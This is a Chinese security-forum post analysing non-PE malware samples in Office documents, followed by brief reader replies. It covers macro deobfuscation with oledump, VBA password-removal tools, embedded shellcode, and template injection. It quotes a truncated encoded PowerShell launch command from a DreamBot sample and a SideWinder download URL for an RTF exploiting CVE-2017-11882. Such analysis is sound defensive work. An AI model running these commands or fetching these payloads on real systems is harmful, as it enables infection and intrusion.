首页
社区
课程
招聘
[原创]恶意代码分析中一些常见的非PE样本分析
发表于: 2019-11-21 13:20 6784

[原创]恶意代码分析中一些常见的非PE样本分析

2019-11-21 13:20
6784

就目前来看,非PE的恶意攻击已经越来越多了,主要是利用office这一套,最近也看了一些,就写一点记录一下。

自office207开始,微软提出了一种新的文件格式为OpenXML(OOXML),所有word、excel、ppt默认都是OenXML格式的。还有一种比较老的格式(97-03)是OLE,关于OLE后面会详细介绍。
先来看看OpenXML格式,正常情况下说该格式的office文档可以当成一个压缩包解压,以一个word文档为例子,压缩包内容一般如下:
图片描述

该文件描述了整个文档内容的类型,把各个xml文件组合成了一个整体。
该文件会包含包中素有的部件的内容类型和列表。

这个文件夹中的xml记录了office文档的主要属性信息
主要是有两个文件:
图片描述

app.xml:描述文档的类型、版本、共享信息、安全属性等。
图片描述

core.xml:描述文件的创建时间、标题、主题和作者等通用属性。
图片描述

存放所有指定的rels文件
图片描述
.rels通常是描述文件结构中的起始关系,也就是说该文件用于定义其他部分与包外资源间的关系。也被叫做关系部件

word文件夹是文件的主体部分,内容大概如下:
图片描述

之前已经说了,07版本之前的office文档可以格式主要是ole,07版本前的office文档十六进制显示如下:
图片描述

而07版本后的OpenXML,更像是一个压缩包,查看十六进制数据可以看到PK标志:
图片描述

office宏应该算是最多(也算是比较简单,直观的内容了)
这里是找到了一个DreamBot僵尸网络的样本:
912a487711217f214746a3e677e2bf32
开启宏之后:
图片描述

这个时候就可以通过oledump来dump出宏代码。
oledump下载地址:https://www.52pojie.cn/thread-921868-1-1.html
使用方法:
首先可以直接通过oledump.py 目标文档.doc 分析出所有的代码段
图片描述

然后可以通过oledump.py -s 段名 -v 目标文档.doc 将制定段的VBA代码提取出来(以xoTBoFzBdrgAzy1pbO为例子):
图片描述

也可以在s后面跟上a参数,表示all,将所有的VBA代码解析出来,然后通过 > 文件名将结果写入到文件:
图片描述

现在就可以分析这个VBA代码了:
图片描述

这里的代码带混淆,而且很长,所以可以调试来解决,但是这个程序对调试进行了处理,当宏启用之后,就会提示word停止工作,根本不能调试宏,我再网上找了好久也没有找到合适的方案。
图片描述

最后想到了一个还算有用的解决方案,就是根据word的执行顺序来使得word不马上加载宏
打开该样本的时候不断按F5,打开样本就会中断在如下界面:
图片描述

这个时候点一下后面的文档内容,然后alt + F11 打开宏窗口:
图片描述

现在就F8进行单步调试了。
然后写一下自己调试带混淆宏的思路
现在单步执行进来停在了函数OWlEmUVvwQl
图片描述

然后这里传递了多个数字作为参数到gzPB函数中,查看一下gzPB函数功能:
图片描述

可以看到函数的关键功能在这个For循环
RlHKDeQP的值从1到传进来参数的长度,每次自增2
然后RlHKDeQP会作为Mid函数的参数对传递进来的值进行分割
FUduorb = Mid$(BlWMlTlXnkR, RlHKDeQP, 2)
然后对Fuduorb进行处理:
AIHfEQdyA = AIHfEQdyA & Chr(Val("&H" & FUduorb))
最后得到AIHfEQdyA的值:"dxiMMtu"
所以这个gzPB函数的功能就是对传递进来的参数进行解密。

选择性的跳过,然后一步一步的跟进,最后可以得到函数调用链:
OWlEmUVvwQl->hMkbDVHtbVDDttEFUWEw->dTkPsYjiXXQJXW->DqfHVjrOSVaMrAFy->MsgsyIxLElHPXcNOFMo->UoOLrJw->JFJdZo->VtrbNDgItpnfKpgAqPml->ybCDhfHLopdFPWTjmLZoUbw->FzjyS->RVThCUH->IFSeOhWOWEpX->azriOHXmFqMfPRlfDlP->LSxrp->CADXqENsQRQthfrBXvpswgqkC->lDqTvcg->MOvSslUFTPZuhCliOUXc->oVBCPDmxRv->BnqSmevUUSPyaWQ->jJPulneBpTF

一直跟进来,最后会调用jJPulneBpTF,在改函数中利用ShellExecute调用Powershell执行命令:
图片描述

根据下面的值可以提取出该条指令:
lpZlNxkkO.Document.Application.ShellExecute powershell.exe -enco JAB4AG4AcQBnAHcAcQB6AG0AeABhAHUAcAA9ACIAbQB6AHIAbgBlAHoAIgA7AAoAJAB0AHMAaQBkAHMAdQAgAD0AIAAiAEkAaQBSAFAAcgB3AFYARgAiADsACgAkAGgAZQBlAHkAZQBlAHAAeQB1AGUAPQAiAGgAcwBpAGsAcgBrAGgAdwBiAHkAbwBrAGoAcwBlACIAOwAKAGYAdQBuAGMAdABpAG8AbgAgAGEAYQBpAHIAZwB0AHcAaABuA

接着看ShellExecute后面的部分
图片描述

可以手动加代码得到后面部分的输出结果:
图片描述
上面这一大部分分析的都是sohkywrsn模块的内容,接下来用同样的方法分析其他模块的内容和调用关系就可以了。

图片描述

带密码的宏一般来说有两个工具可以绕过。
以之前分析过的一个样本Lazarus_6850189bbf5191a76761ab20f7c630e举例。
打开样本宏窗口:
图片描述

我第一次用的工具是aopr,吾爱下载地址:https://www.52pojie.cn/forum.php?mod=viewthread&tid=722999&page=1&authorid=796560

这个工具使用比较简单:
首先选择文件路径,然后直接删除VBA密码就可以了。
图片描述

再次打开样本,ALT+F11打开宏窗口:
图片描述

直接单击确定即可。
图片描述
还有一个常用的工具是:VBA_Password_Bypasser。

以APT组织摩诃草近期的一个攻击样本0D38ADC0B048BAB3BD91861D42CD39DF为例。
打开文件之后内容如下:
图片描述
启用宏发现只有1行代码,就是将这张模糊的图片删除,显示清晰的图片
图片描述

所以该样本应该不是宏代码利用,尝试从其他思路想办法。
解压该文档,然后在:0D38ADC0B048BAB3BD91861D42CD39DF_w32time\xl\embeddings路径发现了ole:
图片描述

这里还有bak,可能是攻击者忘记删除的备份。

查看该ole的十六进制数据:
可以看到在Offset00001000的地方貌似有shellcode
图片描述

提取出来保存为二进制文件到IDA里面分析:
图片描述

可以看到这里是首先给v2设置偏移为a2+1368,然后修订前两个字节为MZ,结合之前在shellcode下面看到的不完整PE,这里应该就是修正PE头。
图片描述

接着往后看,是指明了一个路径%appdata%\MSBuild.exe

最后的call sub_244看参数应该是CreateFile文件
图片描述

由于之前已经运行过了该样本,所以直接查看%appdata%路径:
图片描述

MSbuild.exe已经释放到%appdata%处了
关于这个Msbuild的分析以及该样本的完整分析之后写在其他文档里。

以SideWinder APT的一个新样本为例:9b1d0537d0734f1ddb53c5567f5d7ab5
图片描述

7z打开,看样子应该是的docx文档
可以看到有一个正在下载:https://www.sd1-bin.net/images/2B717e98/-1/12...的操作
这应该算是比较典型的模板注入了

图片描述

解压该样本,按道理来讲可以在word/_rels目录下的document.xml.rels文件中找到该完整请求:
https://www.sd1-bin.net/images/2B717E98/-1/12571/4c7947ec/main.file.rtf

图片描述

过滤一下网络,访问该地址,下载main.file.rtf到本地
图片描述

app.any.run沙箱跑一下可以发现是利用公式编辑器漏洞的rft文档(CVE-2017-11882)
图片描述


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-11-21 15:01 被jux1a编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (9)
雪    币: 298
活跃值: (69)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感觉现在很多样本都没有落地文件了 有时候分析起来就比较麻烦、powershell的恶意代码遇到的也蛮多
2019-11-21 15:24
0
雪    币: 2063
活跃值: (1752)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2019-11-21 15:26
0
雪    币: 26205
活跃值: (63302)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
4
感谢分享!
2019-11-21 15:33
0
雪    币: 5335
活跃值: (3729)
能力值: ( LV13,RANK:283 )
在线值:
发帖
回帖
粉丝
5
感谢分享
2019-11-21 17:01
0
雪    币: 968
活跃值: (6818)
能力值: (RANK:462 )
在线值:
发帖
回帖
粉丝
6
littlewisp 感谢分享
感谢各位的支持,由于这方面才学习没多久,难免有说的不对的地方,希望各位大佬多多包涵,多多指正
2019-11-22 09:33
0
雪    币: 968
活跃值: (6818)
能力值: (RANK:462 )
在线值:
发帖
回帖
粉丝
7
乐正绫_655808 感觉现在很多样本都没有落地文件了 有时候分析起来就比较麻烦、powershell的恶意代码遇到的也蛮多
嗯,ps、js、vbs都是现在比较常见的攻击样本,之后再分享交流一下脚本方面的分析
2019-11-22 09:35
0
雪    币: 73
活跃值: (3095)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
8
谢谢谢谢,对我挺有用的!
2019-12-20 14:17
0
雪    币: 33
活跃值: (318)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
9
谢谢谢谢,对我也挺有用的
2020-4-14 22:10
0
雪    币: 5
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
10
楼主大哥,想问一下有没有这种非pe文件格式的学习书籍和资料推荐啊
2020-6-5 19:45
1
游客
登录 | 注册 方可回帖
返回
//